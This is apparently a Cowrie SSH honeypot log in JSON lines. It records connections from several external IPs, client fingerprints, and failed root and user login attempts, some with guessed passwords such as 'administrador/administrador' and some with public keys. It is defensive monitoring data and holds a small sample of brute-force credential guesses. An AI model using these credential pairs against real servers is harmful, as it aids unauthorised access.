{"eventid":"cowrie.login.failed","username":"root","password":"123!@#QWEqwe","message":"login attempt [root/123!@#QWEqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:49.398796Z","src_ip":"103.84.236.222","session":"8be889d47c87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:50.634447Z","src_ip":"103.84.236.222","session":"8be889d47c87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":55490,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef0332ddc12a","protocol":"ssh","message":"New connection: 87.106.44.172:55490 (10.17.0.5:22) [session: ef0332ddc12a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:53.938593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:53.943497Z","src_ip":"87.106.44.172","session":"ef0332ddc12a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:54.019605Z","src_ip":"87.106.44.172","session":"ef0332ddc12a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrador","password":"administrador","message":"login attempt [administrador/administrador] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:54.447633Z","src_ip":"87.106.44.172","session":"ef0332ddc12a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:55.537158Z","src_ip":"87.106.44.172","session":"ef0332ddc12a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.70.122.120","src_port":36408,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f2552443247","protocol":"ssh","message":"New connection: 193.70.122.120:36408 (10.17.0.5:22) [session: 4f2552443247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:59.285770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:59.290370Z","src_ip":"193.70.122.120","session":"4f2552443247","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:59.368831Z","src_ip":"193.70.122.120","session":"4f2552443247","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:e7:af:32:7a:cb:11:07:4b:35:88:5a:af:a8:10:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqNUD1uJyiv5h6OHxVpJGQnk7X/cumxSpEraBie7SJxJ+dB06Em2baERYsQqMb+z9/sIgHZqQFWAD1VVeC5ygFQMBCj+/t8jcxfppbzEeQ5ct3GxzvdUoVj1nmIg9tx52T/QTFL71+sX4S4AYhuPX9Se7XIB++1thgOyo9SpVLN31pGlfXO8Ztu5/O169Hv7R1iIjyQenAGytPiHVWVYecwvRiNxSYMc+JEuhSXGk0fFsJPoHyQRtHogg0K2d5LGBKaEZWKit9dBm3kWYepljweX2uzQfd11ZYzgOUokdwltsttHsqlekq/kBJN0a/LLD7dHiAaS2t9EmS9OuHWxET","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:e7:af:32:7a:cb:11:07:4b:35:88:5a:af:a8:10:8e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:59.743503Z","src_ip":"193.70.122.120","session":"4f2552443247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:e7:af:32:7a:cb:11:07:4b:35:88:5a:af:a8:10:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqNUD1uJyiv5h6OHxVpJGQnk7X/cumxSpEraBie7SJxJ+dB06Em2baERYsQqMb+z9/sIgHZqQFWAD1VVeC5ygFQMBCj+/t8jcxfppbzEeQ5ct3GxzvdUoVj1nmIg9tx52T/QTFL71+sX4S4AYhuPX9Se7XIB++1thgOyo9SpVLN31pGlfXO8Ztu5/O169Hv7R1iIjyQenAGytPiHVWVYecwvRiNxSYMc+JEuhSXGk0fFsJPoHyQRtHogg0K2d5LGBKaEZWKit9dBm3kWYepljweX2uzQfd11ZYzgOUokdwltsttHsqlekq/kBJN0a/LLD7dHiAaS2t9EmS9OuHWxET","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:59.747584Z","src_ip":"193.70.122.120","session":"4f2552443247","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:1c:22:f5:7b:68:12:57:d4:3a:48:55:64:1e:66:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+lMjmLUoS9/K4C3ptXFhkJ/C5QOBOtZM5zw7VR1+2wD+gi5rCb1uQ5O8dD3RBn4bTpbvjFEOjWN5nKcV3Nrp+mS2s17DoXgfTaNLV968oyTtrSIFVwzYhWqfoqSKawQ2SfLPdVAXkNvIKiQlZBtbW4jk7VdRZe9F3sO304KKxoNfnx3Xm1m2brHEl6FL/bF2PROq6Vc79AInP9KYbHkd5g/evyDXnUZ4FMoe2CAd1ZzioQb6Ile3fOR9N32rL5n6Owu8tbd1gMQ5001BV1AvysUG9PfpKviEyQxxq4VxIrCV95S4KMcvrF4NjEEHiR08H0wW4RMdXnZwJTi21Oz6r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:1c:22:f5:7b:68:12:57:d4:3a:48:55:64:1e:66:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:59.828685Z","src_ip":"193.70.122.120","session":"4f2552443247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:1c:22:f5:7b:68:12:57:d4:3a:48:55:64:1e:66:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+lMjmLUoS9/K4C3ptXFhkJ/C5QOBOtZM5zw7VR1+2wD+gi5rCb1uQ5O8dD3RBn4bTpbvjFEOjWN5nKcV3Nrp+mS2s17DoXgfTaNLV968oyTtrSIFVwzYhWqfoqSKawQ2SfLPdVAXkNvIKiQlZBtbW4jk7VdRZe9F3sO304KKxoNfnx3Xm1m2brHEl6FL/bF2PROq6Vc79AInP9KYbHkd5g/evyDXnUZ4FMoe2CAd1ZzioQb6Ile3fOR9N32rL5n6Owu8tbd1gMQ5001BV1AvysUG9PfpKviEyQxxq4VxIrCV95S4KMcvrF4NjEEHiR08H0wW4RMdXnZwJTi21Oz6r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:59.832841Z","src_ip":"193.70.122.120","session":"4f2552443247","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:ac:48:65:c4:91:5d:4b:38:b2:16:31:7a:2e:5a:ef","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ95dijktM4dGgGVi88OgXJ10PzoAwsnov0CmV1PHefmHOfXjLd/1UxcossxlFlsstHwLKXgylpL5L6GEe7B1F9w1rJt43Jqp2yKcslTrRCjx1bgeaPh5WezbpZAR1gwinjjMLGz2aHPJL0fFUJu+Wds1wNiuzoV6SXzbVCsV9XXAAAAFQDlP2v66aF5phdtgE4Qf0Vj/zKt8QAAAIACYWlV6dSwR0XerHdMI1bEPamzy4RLZpRzQaOgtx0q82S6ow+6LWV2Ko1JtRyhs6LPy/gEEpGLEGgeQe3s3SPig34N+Q/6YNeL2YA/zUVYA3vvCC3POIMtDONjtUh73jXpXBaVMk7/QGW+fD/3w0NdMeB5fHkKMCyeV8T0gOmDGAAAAIAudwNS6gVw/4QRkhy/V81gvSIA5ykrDuE3n7qdd5CPkn43dPhpoS1fwUrX3vIcYOMtruh5kUxAoArxInWjrQaDwkPfyEQm33MsJw97X7i5/5otPLFSxvQS7ulU+7ISq++Y1lyk6584BNm+cJLautoxBOmF0y2c7J3hOt3Ap6CdZw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 78:ac:48:65:c4:91:5d:4b:38:b2:16:31:7a:2e:5a:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:59.912880Z","src_ip":"193.70.122.120","session":"4f2552443247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:ac:48:65:c4:91:5d:4b:38:b2:16:31:7a:2e:5a:ef","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ95dijktM4dGgGVi88OgXJ10PzoAwsnov0CmV1PHefmHOfXjLd/1UxcossxlFlsstHwLKXgylpL5L6GEe7B1F9w1rJt43Jqp2yKcslTrRCjx1bgeaPh5WezbpZAR1gwinjjMLGz2aHPJL0fFUJu+Wds1wNiuzoV6SXzbVCsV9XXAAAAFQDlP2v66aF5phdtgE4Qf0Vj/zKt8QAAAIACYWlV6dSwR0XerHdMI1bEPamzy4RLZpRzQaOgtx0q82S6ow+6LWV2Ko1JtRyhs6LPy/gEEpGLEGgeQe3s3SPig34N+Q/6YNeL2YA/zUVYA3vvCC3POIMtDONjtUh73jXpXBaVMk7/QGW+fD/3w0NdMeB5fHkKMCyeV8T0gOmDGAAAAIAudwNS6gVw/4QRkhy/V81gvSIA5ykrDuE3n7qdd5CPkn43dPhpoS1fwUrX3vIcYOMtruh5kUxAoArxInWjrQaDwkPfyEQm33MsJw97X7i5/5otPLFSxvQS7ulU+7ISq++Y1lyk6584BNm+cJLautoxBOmF0y2c7J3hOt3Ap6CdZw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:59.916714Z","src_ip":"193.70.122.120","session":"4f2552443247","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:a4:f9:2d:77:32:40:e9:63:53:45:67:32:5f:66:18","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPjIfGBsZuxkPt4XVw2niRdf02yFwcE+AaBxmHiwQe4il1AAmcBcFeJ/rZQGo6meJD7Yi9aVTyCMjUjlj6O93T+rGu/voRvTDuTfnCTfWi3xpvTSi9HOIB7e7+2JUbfeFctNIc+etgY70vb+gcwZ9eo14w1KnQbrKwSMLa4Yz9R5AAAAFQC+7bjariqEZw1h8S4a6yRA2tyckQAAAIBWX79YfM5LtTeKndCEtnM3K1iZAM71RacWrPxTkEbbytljO6Yq7CpXZ1DsjUEyDxMY2mukb98ufbs6t2Ezv+mQoI6EFTuZVt3QWx21Vvt/X5QjgrLbL0W7PpxE0R/smww9utlhvo1wryex5C6blIzUsCnasOWYLCG4AkuDJxSW+AAAAIBauQC79zX5r6Bo4rVWPc1MD40heas2x7G/WkpUcChC6gNsyHn8ZD0vhTf1oSLoB9NW+3Ul+oQygPhryKl0xSnNARRdwd7v6jZPNSIrmVcb/DSAtNZrprJTLAMdFEWQuoQRrj5s/6p1ZcpZuGBdahmgJZPHmXeEHa2/Pe5WW/pPkw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint a5:a4:f9:2d:77:32:40:e9:63:53:45:67:32:5f:66:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:59.996523Z","src_ip":"193.70.122.120","session":"4f2552443247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:a4:f9:2d:77:32:40:e9:63:53:45:67:32:5f:66:18","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPjIfGBsZuxkPt4XVw2niRdf02yFwcE+AaBxmHiwQe4il1AAmcBcFeJ/rZQGo6meJD7Yi9aVTyCMjUjlj6O93T+rGu/voRvTDuTfnCTfWi3xpvTSi9HOIB7e7+2JUbfeFctNIc+etgY70vb+gcwZ9eo14w1KnQbrKwSMLa4Yz9R5AAAAFQC+7bjariqEZw1h8S4a6yRA2tyckQAAAIBWX79YfM5LtTeKndCEtnM3K1iZAM71RacWrPxTkEbbytljO6Yq7CpXZ1DsjUEyDxMY2mukb98ufbs6t2Ezv+mQoI6EFTuZVt3QWx21Vvt/X5QjgrLbL0W7PpxE0R/smww9utlhvo1wryex5C6blIzUsCnasOWYLCG4AkuDJxSW+AAAAIBauQC79zX5r6Bo4rVWPc1MD40heas2x7G/WkpUcChC6gNsyHn8ZD0vhTf1oSLoB9NW+3Ul+oQygPhryKl0xSnNARRdwd7v6jZPNSIrmVcb/DSAtNZrprJTLAMdFEWQuoQRrj5s/6p1ZcpZuGBdahmgJZPHmXeEHa2/Pe5WW/pPkw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:00.000787Z","src_ip":"193.70.122.120","session":"4f2552443247","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:af:ee:a1:92:10:a1:78:12:a2:8b:4f:c9:0c:3d:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqdsNrWBH7J19OoOO6/uFJULvPgNxjNgSyI7a4dfnPzsLGaR/vME8F4CCGPtnWxLwXCf4sWBwHxSil9mMqlleC97SbbbRjcxOZ3fd6Jlmk0LnL+NpWvCAq5Z6pZNYVottPv3wEJhRJcBLATisT6N0mn5Sjvutq/80ju2skYElbSSdvDpWNrwPjCGxRuQ6n9sphxFPNjN1YC79kJgjMkbFldwcUPCPMPI3jxhnMYYeQK83ofnHM7cHb7WkUSoAuwPNqj0p/2RZKEHAgV6LvXL1oTgW1W3Nj8kwm4DAXuibjLFLFIVtF+O+SVsnT6zc/035xBzev9IFRVyOQDTox73Br","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:af:ee:a1:92:10:a1:78:12:a2:8b:4f:c9:0c:3d:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:00.093337Z","src_ip":"193.70.122.120","session":"4f2552443247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:af:ee:a1:92:10:a1:78:12:a2:8b:4f:c9:0c:3d:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqdsNrWBH7J19OoOO6/uFJULvPgNxjNgSyI7a4dfnPzsLGaR/vME8F4CCGPtnWxLwXCf4sWBwHxSil9mMqlleC97SbbbRjcxOZ3fd6Jlmk0LnL+NpWvCAq5Z6pZNYVottPv3wEJhRJcBLATisT6N0mn5Sjvutq/80ju2skYElbSSdvDpWNrwPjCGxRuQ6n9sphxFPNjN1YC79kJgjMkbFldwcUPCPMPI3jxhnMYYeQK83ofnHM7cHb7WkUSoAuwPNqj0p/2RZKEHAgV6LvXL1oTgW1W3Nj8kwm4DAXuibjLFLFIVtF+O+SVsnT6zc/035xBzev9IFRVyOQDTox73Br","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:00.097440Z","src_ip":"193.70.122.120","session":"4f2552443247","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:00.178548Z","src_ip":"193.70.122.120","session":"4f2552443247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":36310,"dst_ip":"10.17.0.5","dst_port":22,"session":"681e729aeebf","protocol":"ssh","message":"New connection: 202.145.0.61:36310 (10.17.0.5:22) [session: 681e729aeebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:05.489439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:05.494648Z","src_ip":"202.145.0.61","session":"681e729aeebf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:05.728895Z","src_ip":"202.145.0.61","session":"681e729aeebf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe!@#","message":"login attempt [ubuntu/123qwe!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:06.699076Z","src_ip":"202.145.0.61","session":"681e729aeebf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:07.936488Z","src_ip":"202.145.0.61","session":"681e729aeebf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.237.108.178","src_port":54740,"dst_ip":"10.17.0.5","dst_port":22,"session":"19b51978ffaa","protocol":"ssh","message":"New connection: 23.237.108.178:54740 (10.17.0.5:22) [session: 19b51978ffaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:09.322493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:09.326984Z","src_ip":"23.237.108.178","session":"19b51978ffaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:09.393305Z","src_ip":"23.237.108.178","session":"19b51978ffaa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:e7:af:32:7a:cb:11:07:4b:35:88:5a:af:a8:10:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqNUD1uJyiv5h6OHxVpJGQnk7X/cumxSpEraBie7SJxJ+dB06Em2baERYsQqMb+z9/sIgHZqQFWAD1VVeC5ygFQMBCj+/t8jcxfppbzEeQ5ct3GxzvdUoVj1nmIg9tx52T/QTFL71+sX4S4AYhuPX9Se7XIB++1thgOyo9SpVLN31pGlfXO8Ztu5/O169Hv7R1iIjyQenAGytPiHVWVYecwvRiNxSYMc+JEuhSXGk0fFsJPoHyQRtHogg0K2d5LGBKaEZWKit9dBm3kWYepljweX2uzQfd11ZYzgOUokdwltsttHsqlekq/kBJN0a/LLD7dHiAaS2t9EmS9OuHWxET","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:e7:af:32:7a:cb:11:07:4b:35:88:5a:af:a8:10:8e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:41:09.697263Z","src_ip":"23.237.108.178","session":"19b51978ffaa","protocol":"ssh"}
